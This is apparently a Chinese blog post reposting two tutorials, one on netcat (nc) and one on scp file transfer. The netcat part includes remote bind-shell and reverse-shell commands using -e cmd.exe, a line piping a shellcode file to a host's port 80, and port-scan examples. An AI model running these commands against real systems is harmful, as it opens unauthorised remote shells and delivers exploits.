很實用的小技巧, 可以使用nc或者是scp
nc命令,轉載自:https://www.cnblogs.com/xuybin/archive/2013/09/27/3343098.html
cat test.txt | nc -l -p 6666
或者nc -l -p 6666 < test.txt 有些版本不要在 -p
【監聽6666端口,等待連接】(設發送端IP為10.20.133.152)
接收端:
nc 10.20.133.152 6666 > test1.txt
如上面的操作,即可將文件test.txt從發送端傳送到接收端,保存為test1.txt
想要連接到某處: nc [-options] hostname port[s] [ports] ...
綁定端口等待連接: nc -l -p port [-options] [hostname] [port]
語 法:nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文 件>][-p<通信端口>][-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通信端 口...]
補充說明:執行本指令可設置路由器的相關參數。
參 數:
-g<網關> 設置路由器躍程通信網關,最丟哦可設置8個。
-G<指向器數目> 設置來源路由指向器,其數值為4的倍數。
-h 在線幫助。
-i<延遲秒數> 設置時間間隔,以便傳送信息及掃描通信端口。
-l 使用監聽模式,管控傳入的資料。
-n 直接使用IP地址,而不通過域名服務器。
-o<輸出文件> 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。
-p<通信端口> 設置本地主機使用的通信端口。
-r 亂數指定本地與遠端主機的通信端口。
-s<來源位址> 設置本地主機送出數據包的IP地址。
-u 使用UDP傳輸協議。
-v 顯示指令執行過程。
-w<超時秒數> 設置等待連線的時間。
-z 使用0輸入/輸出模式,只在掃描通信端口時使用。
另外,nc命令也可用於端口掃描:
nc -v -z -w2 10.20.133.152 1-14000
可以掃描10.20.133.152主機上的1~14000號TCP端口;
nc -u -v -z -w2 10.20.133.152 1-14000
可以掃描10.20.133.152主機上的1~14000號UDP端口。
nc是一款很不錯的網絡檢測工具,以下是詳細使用。
'nc.exe -h'即可看到各參數的使用方法。
基本格式:nc [-options] hostname port [ports] ...
nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦連接,就執行 [危險!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 幫助信息
-i secs 延時的間隔
-l 監聽模式,用於入站連接
-L 連接關閉后,仍然繼續監聽
-n 指定數字的IP地址,不能用hostname
-o file 記錄16進制的傳輸
-p port 本地端口號
-r 隨機本地及遠程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 詳細輸出--用兩個-v可得到更詳細的內容
-w secs timeout的時間
-z 將輸入輸出關掉--用於掃描時
端口的表示方法可寫為M-N的范圍格式。
1)連接到遠程主機
格式:nc -nvv 192.168.x.x 80
講解:連到192.168.x.x的TCP80端口
2)監聽本地主機
格式:nc -l -p 80
講解:監聽本機的TCP80端口
3)掃描遠程主機
格式:nc -nvv -w2 -z 192.168.x.x 80-445
講解:掃描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主機綁定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口
5)REMOTE主機綁定SHELL並反向連接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
講解:綁定REMOTE主機的CMDSHELL並反向連接到192.168.x.x的TCP5354端口
以上為最基本的幾種用法(其實NC的用法還有很多,
當配合管道命令"|"與重定向命令"<"、">"等等命令功能更強大......)。
6)作攻擊程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
講解:連接到192.168.x.x的80端口,並在其管道中發送'c:\exploit.txt'的內容(兩種格式確有相同的效果,真是有異曲同工之妙:P)
附:'c:\exploit.txt'為shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
講解:使用'-L'(注意L是大寫)可以不停地監聽某一個端口,直到ctrl+c為止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
講解:使用'-L'可以不停地監聽某一個端口,直到ctrl+c為止,同時把結果輸出到'c:\log.txt'中,如果把‘>'
改為‘>>'即可以追加日志
附:'c:\log.txt'為日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
講解:使用'-L'可以不停地監聽某一個端口,直到ctrl+c為止,並把'c:\honeypot.txt'的內容‘送'入其管道中!
10)備份檔案
A機的資料夾 /data備份到B主機的backup.tgz
源主機: tar czf - work|nc -l -c -p 1234
目的主機: nc 192.168.0.1 1234 >a.tgz
或
A:tar -zcf data|nc -l -p 4444
B:nc a 4444 >backup.tgz
傳完后ctrl+c中斷連接,這樣A主機不會生成檔案直接傳到了backup.tgz,缺點就是不知道啥時候傳完,嘿嘿
scp命令 轉載自:https://www.cnblogs.com/suntray/p/9771209.html
本地電腦是mac,服務器是linux系統,由於mac沒有類似Windows系統下ssh crt ,xshell等工具,經常性使用scp命令進行文件上傳下載。
命令如下,
文件上傳:
scp 本地文件路徑及文件名 服務器用戶@服務器地址(網址、ip):服務器路徑/服務器文件名(可選,不填寫的話,用本地文件名自動保存)
例如
scp ~/Desktop/wys/dist.zip root@xxxxx:/root/servers/crcc/wy/
文件下載:
scp 服務器用戶@服務器地址(網址、ip):服務器路徑/服務器文件名 本地文件路徑/文件名(可選,不填寫的話,用服務器文件名自動保存)
例如
scp root@xxxxx:/root/servers/crcc/wy/dist.zip ~/Desktop/wys/
注意,“:”必須要寫,如果要寫在文件夾下,最后的“/”一定要寫
特殊情況:由於安全策略,很多服務器的ssh端口(也就是scp的端口),不會使用默認的22端口,會改成其他端口號。需要在命令上加入 -P端口號。
命令如下:
文件上傳:
scp -P 端口號 本地文件路徑及文件名 服務器用戶@服務器地址(網址、ip):服務器路徑/服務器文件名(可選,不填寫的話,用本地文件名自動保存)
例如
scp -P 端口號 ~/Desktop/wys/dist.zip root@xxxxx:/root/servers/crcc/wy/
文件下載:
scp -P 端口號 服務器用戶@服務器地址(網址、ip):服務器路徑/服務器文件名 本地文件路徑/文件名(可選,不填寫的話,用服務器文件名自動保存)
例如
scp -P 端口號 root@xxxxx:/root/servers/crcc/wy/dist.zip ~/Desktop/wys/
注意,“:”必須要寫,如果要寫在文件夾下,最后的“/”一定要寫
-P P是大寫 P后面是端口號,P和端口號之間要有空格
